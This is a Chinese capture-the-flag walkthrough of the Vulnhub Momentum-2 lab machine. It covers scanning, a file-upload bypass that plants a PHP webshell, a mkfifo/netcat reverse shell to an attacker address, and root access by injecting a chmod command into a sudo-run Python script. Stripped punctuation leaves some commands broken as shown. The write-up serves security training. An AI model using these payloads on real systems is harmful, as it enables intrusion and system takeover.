Vulnhub靶机实战:Momentum-2渗透测试全流程解析
1. 靶机环境搭建与网络配置Momentum-2是Vulnhub平台上经典的Web渗透测试靶机模拟了真实环境中常见的漏洞组合。我们先从最基本的虚拟机配置开始说起。下载完OVA文件后用VMware Workstation导入时会遇到一个小坑——系统会提示重试这时候直接点击重试按钮就能继续。我测试过在VMware 15和17版本上都适用但如果你用VirtualBox可能会遇到额外的兼容性问题。导入成功后别急着开机先右键选择设置把网络适配器改成NAT模式。这里有个经验之谈很多初学者喜欢用桥接模式但在实际渗透测试中NAT模式更能模拟真实的内网环境而且不会干扰你的物理网络。启动虚拟机后要快速按e键进入GRUB编辑模式把启动参数里的ro改成rw single init/bin/bash这个操作相当于Windows的安全模式让我们可以修复网络配置。修改/etc/network/interfaces文件时vim的操作可能会难倒新手。记住几个关键命令i进入编辑模式Esc退出编辑:wq!强制保存。配置完IP后/etc/init.d/networking restart这个命令在某些Linux发行版上可能失效这时候可以试试更通用的systemctl restart networking。2. 信息收集与漏洞探测2.1 网络发现与端口扫描arp-scan -l这个命令比传统的netdiscover更高效它能瞬间列出同网段所有活跃设备。我在实际测试中发现目标IP是192.168.202.148但你的环境可能会不同。如果扫不到IP建议重启靶机而不要重复配置网络因为90%的情况是靶机没正常启动。nmap的扫描策略很有讲究先用-p-扫描全端口发现开放22和80后再用-sC -sV深度探测。这里有个细节-sT参数指定TCP全连接扫描虽然比默认的SYN扫描慢但在虚拟环境中更稳定。看到SSH服务时别急着爆破现代Linux系统默认会阻止多次失败登录。2.2 Web目录枚举实战dirsearch比传统的dirb更高效特别是-x 403参数能自动过滤禁止访问的目录。扫描结果中/js/main.js这个文件值得重点关注前端JavaScript往往藏着API调用线索。我习惯用curl直接下载分析curl -o main.js http://192.168.202.148/js/main.jsdashboard.html页面的文件上传功能是突破点但直接传PHP会被拦截。这时候老练的渗透师会立即想到检查备份文件dirsearch的-f -e参数支持多种备份后缀扫描。发现ajax.php.bak简直是中大奖它泄露了两个关键信息认证cookie的加密值隐藏的secure参数验证逻辑3. 漏洞利用与WebShell获取3.1 绕过文件上传限制通过分析备份文件我们得知需要构造两个关键点Cookie头要包含adminG6uB6uDXMqMsRPOST数据中要有secureval1d字段用Burp Suite构造请求时要注意POST /ajax.php HTTP/1.1 Host: 192.168.202.148 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryCa0DvSX5z70MIIrp Cookie: adminG6uB6uDXMqMsR ------WebKitFormBoundaryCa0DvSX5z70MIIrp Content-Disposition: form-data; namesecure val1d ------WebKitFormBoundaryCa0DvSX5z70MIIrp Content-Disposition: form-data; namefile; filenameshell.php Content-Type: application/octet-stream ?php system($_GET[cmd]); ?这个PHP代码比直接用eval更安全因为不会触发某些WAF的敏感函数检测。上传成功后用AntSword连接时要注意URL编码问题建议先用curl测试基本功能curl http://192.168.202.148/owls/shell.php?cmdid3.2 系统信息收集拿到WebShell后首先要建立持久化连接我推荐用mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.202.1 4444 /tmp/f记得先在攻击机用nc -lvp 4444监听。查看/etc/passwd时重点关注有登录shell的用户bash/shathena用户的home目录通常藏着第一个flag。密码提醒文件password-reminder.txt是个典型的人为疏忽现实中经常能遇到类似情况。4. 权限提升与Root获取4.1 横向移动技巧SSH登录athena用户时密码myvulnerableapp*中的星号要注意转义ssh athena192.168.202.148 # 输入密码时实际输入myvulnerableapp\*sudo -l命令显示可以无密码运行Python脚本这类配置在CTF中很常见。关键是要仔细阅读cookie-gen.py的源码发现最后有命令注入漏洞cmd echo cookie log.txt4.2 利用SUID提权经典的bash SUID提权分三步检查bash是否具有SUID权限ls -l /bin/bash通过注入给bash添加SUID位sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py ;chmod us /bin/bash启动特权bash/bin/bash -p最后在/root目录找到flag文件时可能会遇到权限问题。这时候可以用find命令全局搜索find / -name *flag* 2/dev/null
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2465156.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!